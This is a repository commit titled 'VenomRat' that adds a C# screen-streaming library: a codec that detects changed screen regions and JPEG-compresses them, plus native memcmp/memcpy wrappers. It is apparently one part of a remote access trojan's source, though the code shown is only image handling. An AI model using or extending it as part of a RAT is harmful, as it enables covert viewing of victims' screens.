VenomRat
This commit is contained in:
9
StreamLibrary/CodecOption.cs
Normal file
9
StreamLibrary/CodecOption.cs
Normal file
@@ -0,0 +1,9 @@
|
||||
namespace StreamLibrary;
|
||||
|
||||
public enum CodecOption
|
||||
{
|
||||
RequireSameSize,
|
||||
HasBuffers,
|
||||
AutoDispose,
|
||||
None
|
||||
}
|
54
StreamLibrary/IUnsafeCodec.cs
Normal file
54
StreamLibrary/IUnsafeCodec.cs
Normal file
@@ -0,0 +1,54 @@
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using StreamLibrary.src;
|
||||
|
||||
namespace StreamLibrary;
|
||||
|
||||
public abstract class IUnsafeCodec
|
||||
{
|
||||
protected JpgCompression jpgCompression;
|
||||
|
||||
protected LzwCompression lzwCompression;
|
||||
|
||||
private int _imageQuality;
|
||||
|
||||
public abstract ulong CachedSize { get; internal set; }
|
||||
|
||||
protected object ImageProcessLock { get; private set; }
|
||||
|
||||
public int ImageQuality
|
||||
{
|
||||
get
|
||||
{
|
||||
return _imageQuality;
|
||||
}
|
||||
set
|
||||
{
|
||||
_imageQuality = value;
|
||||
jpgCompression = new JpgCompression(value);
|
||||
lzwCompression = new LzwCompression(value);
|
||||
}
|
||||
}
|
||||
|
||||
public abstract int BufferCount { get; }
|
||||
|
||||
public abstract CodecOption CodecOptions { get; }
|
||||
|
||||
public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
|
||||
public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public IUnsafeCodec(int ImageQuality = 100)
|
||||
{
|
||||
this.ImageQuality = ImageQuality;
|
||||
ImageProcessLock = new object();
|
||||
}
|
||||
|
||||
public abstract void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream);
|
||||
|
||||
public abstract Bitmap DecodeData(Stream inStream);
|
||||
|
||||
public abstract Bitmap DecodeData(IntPtr CodecBuffer, uint Length);
|
||||
}
|
42
StreamLibrary/IVideoCodec.cs
Normal file
42
StreamLibrary/IVideoCodec.cs
Normal file
@@ -0,0 +1,42 @@
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using StreamLibrary.src;
|
||||
|
||||
namespace StreamLibrary;
|
||||
|
||||
public abstract class IVideoCodec
|
||||
{
|
||||
public delegate void VideoCodeProgress(Stream stream, Rectangle[] MotionChanges);
|
||||
|
||||
public delegate void VideoDecodeProgress(Bitmap bitmap);
|
||||
|
||||
public delegate void VideoDebugScanningDelegate(Rectangle ScanArea);
|
||||
|
||||
protected JpgCompression jpgCompression;
|
||||
|
||||
public abstract ulong CachedSize { get; internal set; }
|
||||
|
||||
public int ImageQuality { get; set; }
|
||||
|
||||
public abstract int BufferCount { get; }
|
||||
|
||||
public abstract CodecOption CodecOptions { get; }
|
||||
|
||||
public abstract event VideoCodeProgress onVideoStreamCoding;
|
||||
|
||||
public abstract event VideoDecodeProgress onVideoStreamDecoding;
|
||||
|
||||
public abstract event VideoDebugScanningDelegate onCodeDebugScan;
|
||||
|
||||
public abstract event VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public IVideoCodec(int ImageQuality = 100)
|
||||
{
|
||||
jpgCompression = new JpgCompression(ImageQuality);
|
||||
this.ImageQuality = ImageQuality;
|
||||
}
|
||||
|
||||
public abstract void CodeImage(Bitmap bitmap, Stream outStream);
|
||||
|
||||
public abstract Bitmap DecodeData(Stream inStream);
|
||||
}
|
289
StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs
Normal file
289
StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs
Normal file
@@ -0,0 +1,289 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using StreamLibrary.src;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs;
|
||||
|
||||
public class UnsafeStreamCodec : IUnsafeCodec
|
||||
{
|
||||
private byte[] EncodeBuffer;
|
||||
|
||||
private Bitmap decodedBitmap;
|
||||
|
||||
private PixelFormat EncodedFormat;
|
||||
|
||||
private int EncodedWidth;
|
||||
|
||||
private int EncodedHeight;
|
||||
|
||||
private bool UseJPEG;
|
||||
|
||||
public override ulong CachedSize { get; internal set; }
|
||||
|
||||
public override int BufferCount => 1;
|
||||
|
||||
public override CodecOption CodecOptions => CodecOption.RequireSameSize;
|
||||
|
||||
public Size CheckBlock { get; private set; }
|
||||
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public UnsafeStreamCodec(int ImageQuality = 100, bool UseJPEG = true)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
CheckBlock = new Size(50, 1);
|
||||
this.UseJPEG = UseJPEG;
|
||||
}
|
||||
|
||||
public unsafe override void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
lock (base.ImageProcessLock)
|
||||
{
|
||||
byte* ptr = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
{
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
}
|
||||
int num = 0;
|
||||
int num2 = 0;
|
||||
int num3 = 0;
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
num3 = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
case PixelFormat.Format32bppArgb:
|
||||
num3 = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
num = ImageSize.Width * num3;
|
||||
num2 = num * ImageSize.Height;
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
EncodedFormat = Format;
|
||||
EncodedWidth = ImageSize.Width;
|
||||
EncodedHeight = ImageSize.Height;
|
||||
EncodeBuffer = new byte[num2];
|
||||
fixed (byte* value = EncodeBuffer)
|
||||
{
|
||||
byte[] array = null;
|
||||
using (Bitmap bmp = new Bitmap(ImageSize.Width, ImageSize.Height, num, Format, Scan0))
|
||||
{
|
||||
array = jpgCompression.Compress(bmp);
|
||||
}
|
||||
outStream.Write(BitConverter.GetBytes(array.Length), 0, 4);
|
||||
outStream.Write(array, 0, array.Length);
|
||||
NativeMethods.memcpy(new IntPtr(value), Scan0, (uint)num2);
|
||||
}
|
||||
return;
|
||||
}
|
||||
long position = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int num4 = 0;
|
||||
if (EncodedFormat != Format)
|
||||
{
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
}
|
||||
if (EncodedWidth != ImageSize.Width || EncodedHeight != ImageSize.Height)
|
||||
{
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
}
|
||||
List<Rectangle> list = new List<Rectangle>();
|
||||
int num5 = 0;
|
||||
Size size = new Size(ScanArea.Width, CheckBlock.Height);
|
||||
Size size2 = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
|
||||
int num6 = ScanArea.Height - size2.Height;
|
||||
int num7 = ScanArea.Width - size2.Width;
|
||||
Rectangle rectangle = default(Rectangle);
|
||||
List<Rectangle> list2 = new List<Rectangle>();
|
||||
size = new Size(ScanArea.Width, size.Height);
|
||||
fixed (byte* ptr2 = EncodeBuffer)
|
||||
{
|
||||
for (int i = ScanArea.Y; i != ScanArea.Height; i += size.Height)
|
||||
{
|
||||
if (i == num6)
|
||||
{
|
||||
size = new Size(ScanArea.Width, size2.Height);
|
||||
}
|
||||
rectangle = new Rectangle(ScanArea.X, i, ScanArea.Width, size.Height);
|
||||
if (onCodeDebugScan != null)
|
||||
{
|
||||
onCodeDebugScan(rectangle);
|
||||
}
|
||||
int num8 = i * num + ScanArea.X * num3;
|
||||
if (NativeMethods.memcmp(ptr2 + num8, ptr + num8, (uint)num) != 0)
|
||||
{
|
||||
num5 = list.Count - 1;
|
||||
if (list.Count != 0 && list[num5].Y + list[num5].Height == rectangle.Y)
|
||||
{
|
||||
rectangle = (list[num5] = new Rectangle(list[num5].X, list[num5].Y, list[num5].Width, list[num5].Height + rectangle.Height));
|
||||
}
|
||||
else
|
||||
{
|
||||
list.Add(rectangle);
|
||||
}
|
||||
}
|
||||
}
|
||||
int j = 0;
|
||||
int x = ScanArea.X;
|
||||
for (; j < list.Count; j++)
|
||||
{
|
||||
size = new Size(CheckBlock.Width, list[j].Height);
|
||||
for (x = ScanArea.X; x != ScanArea.Width; x += size.Width)
|
||||
{
|
||||
if (x == num7)
|
||||
{
|
||||
size = new Size(size2.Width, list[j].Height);
|
||||
}
|
||||
rectangle = new Rectangle(x, list[j].Y, size.Width, list[j].Height);
|
||||
bool flag = false;
|
||||
int count = num3 * rectangle.Width;
|
||||
for (int k = 0; k < rectangle.Height; k++)
|
||||
{
|
||||
int num9 = num * (rectangle.Y + k) + num3 * rectangle.X;
|
||||
if (NativeMethods.memcmp(ptr2 + num9, ptr + num9, (uint)count) != 0)
|
||||
{
|
||||
flag = true;
|
||||
}
|
||||
NativeMethods.memcpy(ptr2 + num9, ptr + num9, (uint)count);
|
||||
}
|
||||
if (onCodeDebugScan != null)
|
||||
{
|
||||
onCodeDebugScan(rectangle);
|
||||
}
|
||||
if (flag)
|
||||
{
|
||||
num5 = list2.Count - 1;
|
||||
if (list2.Count > 0 && list2[num5].X + list2[num5].Width == rectangle.X)
|
||||
{
|
||||
Rectangle rectangle3 = list2[num5];
|
||||
int width = rectangle.Width + rectangle3.Width;
|
||||
rectangle = (list2[num5] = new Rectangle(rectangle3.X, rectangle3.Y, width, rectangle3.Height));
|
||||
}
|
||||
else
|
||||
{
|
||||
list2.Add(rectangle);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
for (int l = 0; l < list2.Count; l++)
|
||||
{
|
||||
Rectangle rectangle5 = list2[l];
|
||||
int num10 = num3 * rectangle5.Width;
|
||||
Bitmap bitmap = new Bitmap(rectangle5.Width, rectangle5.Height, Format);
|
||||
BitmapData bitmapData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||
int m = 0;
|
||||
int num11 = 0;
|
||||
for (; m < rectangle5.Height; m++)
|
||||
{
|
||||
int num12 = num * (rectangle5.Y + m) + num3 * rectangle5.X;
|
||||
NativeMethods.memcpy((byte*)bitmapData.Scan0.ToPointer() + num11, ptr + num12, (uint)num10);
|
||||
num11 += num10;
|
||||
}
|
||||
bitmap.UnlockBits(bitmapData);
|
||||
outStream.Write(BitConverter.GetBytes(rectangle5.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rectangle5.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rectangle5.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rectangle5.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
long length = outStream.Length;
|
||||
long position2 = outStream.Position;
|
||||
if (UseJPEG)
|
||||
{
|
||||
jpgCompression.Compress(bitmap, ref outStream);
|
||||
}
|
||||
else
|
||||
{
|
||||
lzwCompression.Compress(bitmap, outStream);
|
||||
}
|
||||
length = outStream.Position - length;
|
||||
outStream.Position = position2 - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
bitmap.Dispose();
|
||||
num4 += (int)length + 20;
|
||||
}
|
||||
outStream.Position = position;
|
||||
outStream.Write(BitConverter.GetBytes(num4), 0, 4);
|
||||
list.Clear();
|
||||
list2.Clear();
|
||||
}
|
||||
}
|
||||
|
||||
public unsafe override Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
if (Length < 4)
|
||||
{
|
||||
return decodedBitmap;
|
||||
}
|
||||
int num = *(int*)(void*)CodecBuffer;
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
byte[] array = new byte[num];
|
||||
fixed (byte* value = array)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(value), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)num);
|
||||
}
|
||||
decodedBitmap = (Bitmap)Image.FromStream(new MemoryStream(array));
|
||||
return decodedBitmap;
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] array = new byte[4];
|
||||
inStream.Read(array, 0, 4);
|
||||
int num = BitConverter.ToInt32(array, 0);
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
array = new byte[num];
|
||||
inStream.Read(array, 0, array.Length);
|
||||
decodedBitmap = (Bitmap)Image.FromStream(new MemoryStream(array));
|
||||
return decodedBitmap;
|
||||
}
|
||||
using (Graphics graphics = Graphics.FromImage(decodedBitmap))
|
||||
{
|
||||
while (num > 0)
|
||||
{
|
||||
byte[] array2 = new byte[20];
|
||||
inStream.Read(array2, 0, array2.Length);
|
||||
Rectangle scanArea = new Rectangle(BitConverter.ToInt32(array2, 0), BitConverter.ToInt32(array2, 4), BitConverter.ToInt32(array2, 8), BitConverter.ToInt32(array2, 12));
|
||||
int num2 = BitConverter.ToInt32(array2, 16);
|
||||
array2 = null;
|
||||
byte[] array3 = new byte[num2];
|
||||
inStream.Read(array3, 0, array3.Length);
|
||||
if (onDecodeDebugScan != null)
|
||||
{
|
||||
onDecodeDebugScan(scanArea);
|
||||
}
|
||||
using (MemoryStream stream = new MemoryStream(array3))
|
||||
{
|
||||
using Bitmap image = (Bitmap)Image.FromStream(stream);
|
||||
graphics.DrawImage(image, scanArea.Location);
|
||||
}
|
||||
array3 = null;
|
||||
num -= num2 + 20;
|
||||
}
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
49
StreamLibrary/src/JpgCompression.cs
Normal file
49
StreamLibrary/src/JpgCompression.cs
Normal file
@@ -0,0 +1,49 @@
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
|
||||
namespace StreamLibrary.src;
|
||||
|
||||
public class JpgCompression
|
||||
{
|
||||
private EncoderParameter parameter;
|
||||
|
||||
private ImageCodecInfo encoderInfo;
|
||||
|
||||
private EncoderParameters encoderParams;
|
||||
|
||||
public JpgCompression(int Quality)
|
||||
{
|
||||
parameter = new EncoderParameter(Encoder.Quality, Quality);
|
||||
encoderInfo = GetEncoderInfo("image/jpeg");
|
||||
encoderParams = new EncoderParameters(2);
|
||||
encoderParams.Param[0] = parameter;
|
||||
encoderParams.Param[1] = new EncoderParameter(Encoder.Compression, 2L);
|
||||
}
|
||||
|
||||
public byte[] Compress(Bitmap bmp)
|
||||
{
|
||||
using MemoryStream memoryStream = new MemoryStream();
|
||||
bmp.Save(memoryStream, encoderInfo, encoderParams);
|
||||
return memoryStream.ToArray();
|
||||
}
|
||||
|
||||
public void Compress(Bitmap bmp, ref Stream TargetStream)
|
||||
{
|
||||
bmp.Save(TargetStream, encoderInfo, encoderParams);
|
||||
}
|
||||
|
||||
private ImageCodecInfo GetEncoderInfo(string mimeType)
|
||||
{
|
||||
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||
int num = imageEncoders.Length - 1;
|
||||
for (int i = 0; i <= num; i++)
|
||||
{
|
||||
if (imageEncoders[i].MimeType == mimeType)
|
||||
{
|
||||
return imageEncoders[i];
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
56
StreamLibrary/src/LzwCompression.cs
Normal file
56
StreamLibrary/src/LzwCompression.cs
Normal file
@@ -0,0 +1,56 @@
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
|
||||
namespace StreamLibrary.src;
|
||||
|
||||
public class LzwCompression
|
||||
{
|
||||
private EncoderParameter parameter;
|
||||
|
||||
private ImageCodecInfo encoderInfo;
|
||||
|
||||
private EncoderParameters encoderParams;
|
||||
|
||||
public LzwCompression(int Quality)
|
||||
{
|
||||
parameter = new EncoderParameter(Encoder.Quality, Quality);
|
||||
encoderInfo = GetEncoderInfo("image/jpeg");
|
||||
encoderParams = new EncoderParameters(2);
|
||||
encoderParams.Param[0] = parameter;
|
||||
encoderParams.Param[1] = new EncoderParameter(Encoder.Compression, 2L);
|
||||
}
|
||||
|
||||
public byte[] Compress(Bitmap bmp, byte[] AdditionInfo = null)
|
||||
{
|
||||
using MemoryStream memoryStream = new MemoryStream();
|
||||
if (AdditionInfo != null)
|
||||
{
|
||||
memoryStream.Write(AdditionInfo, 0, AdditionInfo.Length);
|
||||
}
|
||||
bmp.Save(memoryStream, encoderInfo, encoderParams);
|
||||
return memoryStream.ToArray();
|
||||
}
|
||||
|
||||
public void Compress(Bitmap bmp, Stream stream, byte[] AdditionInfo = null)
|
||||
{
|
||||
if (AdditionInfo != null)
|
||||
{
|
||||
stream.Write(AdditionInfo, 0, AdditionInfo.Length);
|
||||
}
|
||||
bmp.Save(stream, encoderInfo, encoderParams);
|
||||
}
|
||||
|
||||
private ImageCodecInfo GetEncoderInfo(string mimeType)
|
||||
{
|
||||
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||
for (int i = 0; i < imageEncoders.Length; i++)
|
||||
{
|
||||
if (imageEncoders[i].MimeType == mimeType)
|
||||
{
|
||||
return imageEncoders[i];
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
19
StreamLibrary/src/NativeMethods.cs
Normal file
19
StreamLibrary/src/NativeMethods.cs
Normal file
@@ -0,0 +1,19 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace StreamLibrary.src;
|
||||
|
||||
public class NativeMethods
|
||||
{
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public unsafe static extern int memcmp(byte* ptr1, byte* ptr2, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public static extern int memcpy(IntPtr dst, IntPtr src, uint count);
|
||||
|
||||
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||
public unsafe static extern int memcpy(void* dst, void* src, uint count);
|
||||
}
|
Reference in New Issue
Block a user